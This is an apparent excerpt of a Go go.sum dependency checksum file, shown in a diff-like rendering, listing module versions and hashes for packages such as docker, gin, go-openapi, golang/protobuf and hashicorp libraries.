github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
||||||
|
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
||||||
|
github.com/docker/docker v0.7.3-0.20190327010347-be7ac8be2ae0/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=
|
||||||
|
github.com/docker/go-units v0.3.3/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
|
||||||
|
github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
|
||||||
|
github.com/docker/spdystream v0.0.0-20160310174837-449fdfce4d96/go.mod h1:Qh8CwZgvJUkLughtfhJv5dyTYa91l1fOUCrgjqmcifM=
|
||||||
|
github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||||
|
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||||
|
github.com/elazarl/goproxy v0.0.0-20170405201442-c4fc26588b6e/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=
|
||||||
|
github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=
|
||||||
|
github.com/emicklei/go-restful v2.9.5+incompatible/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=
|
||||||
|
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||||
|
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||||
|
github.com/evanphx/json-patch v4.2.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=
|
||||||
|
github.com/evanphx/json-patch v4.5.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=
|
||||||
|
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||||
|
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||||
|
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
|
||||||
|
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||||
|
github.com/felixge/httpsnoop v1.0.1/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U=
|
||||||
|
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||||
|
github.com/gabriel-vasile/mimetype v1.2.0 h1:A6z5J8OhjiWFV91sQ3dMI8apYu/tvP9keDaMM3Xu6p4=
|
||||||
|
github.com/gabriel-vasile/mimetype v1.2.0/go.mod h1:6CDPel/o/3/s4+bp6kIbsWATq8pmgOisOPG40CJa6To=
|
||||||
|
github.com/ghodss/yaml v0.0.0-20150909031657-73d445a93680/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||||
|
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||||
|
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
|
||||||
|
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
|
||||||
|
github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14=
|
||||||
|
github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M=
|
||||||
|
github.com/globalsign/mgo v0.0.0-20180905125535-1ca0a4f7cbcb/go.mod h1:xkRDCp4j0OGD1HRkm4kmhM+pmpv3AKq5SU7GMg4oO/Q=
|
||||||
|
github.com/globalsign/mgo v0.0.0-20181015135952-eeefdecb41b8/go.mod h1:xkRDCp4j0OGD1HRkm4kmhM+pmpv3AKq5SU7GMg4oO/Q=
|
||||||
|
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
|
||||||
|
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||||
|
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||||
|
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
||||||
|
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||||
|
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
|
||||||
|
github.com/go-martini/martini v0.0.0-20170121215854-22fa46961aab/go.mod h1:/P9AEU963A2AYjv4d1V5eVL1CQbEJq6aCNHDDjibzu8=
|
||||||
|
github.com/go-openapi/analysis v0.0.0-20180825180245-b006789cd277/go.mod h1:k70tL6pCuVxPJOHXQ+wIac1FUrvNkHolPie/cLEU6hI=
|
||||||
|
github.com/go-openapi/analysis v0.17.0/go.mod h1:IowGgpVeD0vNm45So8nr+IcQ3pxVtpRoBWb8PVZO0ik=
|
||||||
|
github.com/go-openapi/analysis v0.18.0/go.mod h1:IowGgpVeD0vNm45So8nr+IcQ3pxVtpRoBWb8PVZO0ik=
|
||||||
|
github.com/go-openapi/analysis v0.19.2/go.mod h1:3P1osvZa9jKjb8ed2TPng3f0i/UY9snX6gxi44djMjk=
|
||||||
|
github.com/go-openapi/analysis v0.19.5/go.mod h1:hkEAkxagaIvIP7VTn8ygJNkd4kAYON2rCu0v0ObL0AU=
|
||||||
|
github.com/go-openapi/errors v0.17.0/go.mod h1:LcZQpmvG4wyF5j4IhA73wkLFQg+QJXOQHVjmcZxhka0=
|
||||||
|
github.com/go-openapi/errors v0.18.0/go.mod h1:LcZQpmvG4wyF5j4IhA73wkLFQg+QJXOQHVjmcZxhka0=
|
||||||
|
github.com/go-openapi/errors v0.19.2/go.mod h1:qX0BLWsyaKfvhluLejVpVNwNRdXZhEbTA4kxxpKBC94=
|
||||||
|
github.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0=
|
||||||
|
github.com/go-openapi/jsonpointer v0.17.0/go.mod h1:cOnomiV+CVVwFLk0A/MExoFMjwdsUdVpsRhURCKh+3M=
|
||||||
|
github.com/go-openapi/jsonpointer v0.18.0/go.mod h1:cOnomiV+CVVwFLk0A/MExoFMjwdsUdVpsRhURCKh+3M=
|
||||||
|
github.com/go-openapi/jsonpointer v0.19.2/go.mod h1:3akKfEdA7DF1sugOqz1dVQHBcuDBPKZGEoHC/NkiQRg=
|
||||||
|
github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=
|
||||||
|
github.com/go-openapi/jsonreference v0.0.0-20160704190145-13c6e3589ad9/go.mod h1:W3Z9FmVs9qj+KR4zFKmDPGiLdk1D9Rlm7cyMvf57TTg=
|
||||||
|
github.com/go-openapi/jsonreference v0.17.0/go.mod h1:g4xxGn04lDIRh0GJb5QlpE3HfopLOL6uZrK/VgnsK9I=
|
||||||
|
github.com/go-openapi/jsonreference v0.18.0/go.mod h1:g4xxGn04lDIRh0GJb5QlpE3HfopLOL6uZrK/VgnsK9I=
|
||||||
|
github.com/go-openapi/jsonreference v0.19.2/go.mod h1:jMjeRr2HHw6nAVajTXJ4eiUwohSTlpa0o73RUL1owJc=
|
||||||
|
github.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8=
|
||||||
|
github.com/go-openapi/loads v0.17.0/go.mod h1:72tmFy5wsWx89uEVddd0RjRWPZm92WRLhf7AC+0+OOU=
|
||||||
|
github.com/go-openapi/loads v0.18.0/go.mod h1:72tmFy5wsWx89uEVddd0RjRWPZm92WRLhf7AC+0+OOU=
|
||||||
|
github.com/go-openapi/loads v0.19.0/go.mod h1:72tmFy5wsWx89uEVddd0RjRWPZm92WRLhf7AC+0+OOU=
|
||||||
|
github.com/go-openapi/loads v0.19.2/go.mod h1:QAskZPMX5V0C2gvfkGZzJlINuP7Hx/4+ix5jWFxsNPs=
|
||||||
|
github.com/go-openapi/loads v0.19.4/go.mod h1:zZVHonKd8DXyxyw4yfnVjPzBjIQcLt0CCsn0N0ZrQsk=
|
||||||
|
github.com/go-openapi/runtime v0.0.0-20180920151709-4f900dc2ade9/go.mod h1:6v9a6LTXWQCdL8k1AO3cvqx5OtZY/Y9wKTgaoP6YRfA=
|
||||||
|
github.com/go-openapi/runtime v0.19.0/go.mod h1:OwNfisksmmaZse4+gpV3Ne9AyMOlP1lt4sK4FXt0O64=
|
||||||
|
github.com/go-openapi/runtime v0.19.4/go.mod h1:X277bwSUBxVlCYR3r7xgZZGKVvBd/29gLDlFGtJ8NL4=
|
||||||
|
github.com/go-openapi/spec v0.0.0-20160808142527-6aced65f8501/go.mod h1:J8+jY1nAiCcj+friV/PDoE1/3eeccG9LYBs0tYvLOWc=
|
||||||
|
github.com/go-openapi/spec v0.17.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsdfssdxcBI=
|
||||||
|
github.com/go-openapi/spec v0.18.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsdfssdxcBI=
|
||||||
|
github.com/go-openapi/spec v0.19.2/go.mod h1:sCxk3jxKgioEJikev4fgkNmwS+3kuYdJtcsZsD5zxMY=
|
||||||
|
github.com/go-openapi/spec v0.19.3/go.mod h1:FpwSN1ksY1eteniUU7X0N/BgJ7a4WvBFVA8Lj9mJglo=
|
||||||
|
github.com/go-openapi/strfmt v0.17.0/go.mod h1:P82hnJI0CXkErkXi8IKjPbNBM6lV6+5pLP5l494TcyU=
|
||||||
|
github.com/go-openapi/strfmt v0.18.0/go.mod h1:P82hnJI0CXkErkXi8IKjPbNBM6lV6+5pLP5l494TcyU=
|
||||||
|
github.com/go-openapi/strfmt v0.19.0/go.mod h1:+uW+93UVvGGq2qGaZxdDeJqSAqBqBdl+ZPMF/cC8nDY=
|
||||||
|
github.com/go-openapi/strfmt v0.19.3/go.mod h1:0yX7dbo8mKIvc3XSKp7MNfxw4JytCfCD6+bY1AVL9LU=
|
||||||
|
github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I=
|
||||||
|
github.com/go-openapi/swag v0.17.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
|
||||||
|
github.com/go-openapi/swag v0.18.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
|
||||||
|
github.com/go-openapi/swag v0.19.2/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
|
||||||
|
github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
|
||||||
|
github.com/go-openapi/validate v0.18.0/go.mod h1:Uh4HdOzKt19xGIGm1qHf/ofbX1YQ4Y+MYsct2VUrAJ4=
|
||||||
|
github.com/go-openapi/validate v0.19.2/go.mod h1:1tRCw7m3jtI8eNWEEliiAqUIcBztB2KDnRCRMUi7GTA=
|
||||||
|
github.com/go-openapi/validate v0.19.5/go.mod h1:8DJv2CVJQ6kGNpFW6eV9N3JviE1C85nY1c2z52x1Gk4=
|
||||||
|
github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A=
|
||||||
|
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||||
|
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
|
||||||
|
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
|
||||||
|
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
|
||||||
|
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
|
||||||
|
github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI=
|
||||||
|
github.com/go-playground/validator/v10 v10.4.1 h1:pH2c5ADXtd66mxoE0Zm9SUhxE20r7aM3F26W0hOn+GE=
|
||||||
|
github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4=
|
||||||
|
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||||
|
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||||
|
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||||
|
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
||||||
|
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
|
||||||
|
github.com/gogo/protobuf v1.2.2-0.20190723190241-65acae22fc9d/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
|
||||||
|
github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
|
||||||
|
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=
|
||||||
|
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||||
|
github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||||
|
github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||||
|
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||||
|
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||||
|
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||||
|
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
|
||||||
|
github.com/golang/protobuf v0.0.0-20161109072736-4bd1920723d7/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||||
|
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||||
|
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||||
|
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||||
|
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||||
|
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||||
|
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||||
|
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||||
|
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||||
|
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||||
|
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
||||||
|
github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM=
|
||||||
|
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||||
|
github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||||
|
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||||
|
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||||
|
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||||
|
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||||
|
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||||
|
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||||
|
github.com/google/go-cmp v0.5.0 h1:/QaMHBdZ26BB3SSst0Iwl10Epc+xhTquomWX0oZEB6w=
|
||||||
|
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||||
|
github.com/google/go-github/v27 v27.0.4/go.mod h1:/0Gr8pJ55COkmv+S/yPKCczSkUPIM/LnFyubufRNIS0=
|
||||||
|
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
|
||||||
|
github.com/google/gofuzz v0.0.0-20161122191042-44d81051d367/go.mod h1:HP5RmnzzSNb993RKQDq4+1A4ia9nllfqcQFTQJedwGI=
|
||||||
|
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||||
|
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
|
||||||
|
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||||
|
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||||
|
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||||
|
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
|
||||||
|
github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
|
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
|
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
|
||||||
|
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
|
||||||
|
github.com/googleapis/gnostic v0.0.0-20170729233727-0c5108395e2d/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY=
|
||||||
|
github.com/googleapis/gnostic v0.2.0/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY=
|
||||||
|
github.com/gophercloud/gophercloud v0.1.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8=
|
||||||
|
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
|
||||||
|
github.com/gopherjs/gopherjs v0.0.0-20181103185306-d547d1d9531e h1:JKmoR8x90Iww1ks85zJ1lfDGgIiMDuIptTOhJq+zKyg=
|
||||||
|
github.com/gopherjs/gopherjs v0.0.0-20181103185306-d547d1d9531e/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
|
||||||
|
github.com/gorilla/handlers v1.5.1/go.mod h1:t8XrUpc4KVXb7HGyJ4/cEnwQiaxrX/hz1Zv/4g96P1Q=
|
||||||
|
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
|
||||||
|
github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
|
||||||
|
github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
|
||||||
|
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
|
github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
|
||||||
|
github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
|
||||||
|
github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
|
||||||
|
github.com/grpc-ecosystem/go-grpc-middleware v1.1.0/go.mod h1:f5nM7jw/oeRSadq3xCzHAvxcr8HZnzsqU6ILg/0NiiE=
|
||||||
|
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
|
||||||
|
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||||
|
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||||
|
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
|
||||||
|
github.com/hashicorp/consul/api v1.5.0/go.mod h1:LqwrLNW876eYSuUOo4ZLHBcdKc038txr/IMfbLPATa4=
|
||||||
|
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
|
||||||
|
github.com/hashicorp/consul/sdk v0.5.0/go.mod h1:fY08Y9z5SvJqevyZNy6WWPXiG3KwBPAvlcdx16zZ0fM=
|
||||||
|
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||||
|
github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
|
||||||
|
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
|
||||||
|
github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ=
|
||||||
|
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
|
||||||
|
github.com/hashicorp/go-immutable-radix v1.1.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
|
||||||
|
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
|
||||||
|
github.com/hashicorp/go-msgpack v0.5.5/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
|
||||||
|
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
|
||||||
|
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||||
|
github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs=
|
||||||
|
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
|
||||||
|
github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8=
|
||||||
|
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
|
||||||
|
github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A=
|
||||||
|
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
|
||||||
|
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||||
|
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||||
|
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||||
|
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
|
||||||
|
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||||
|
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||||
|
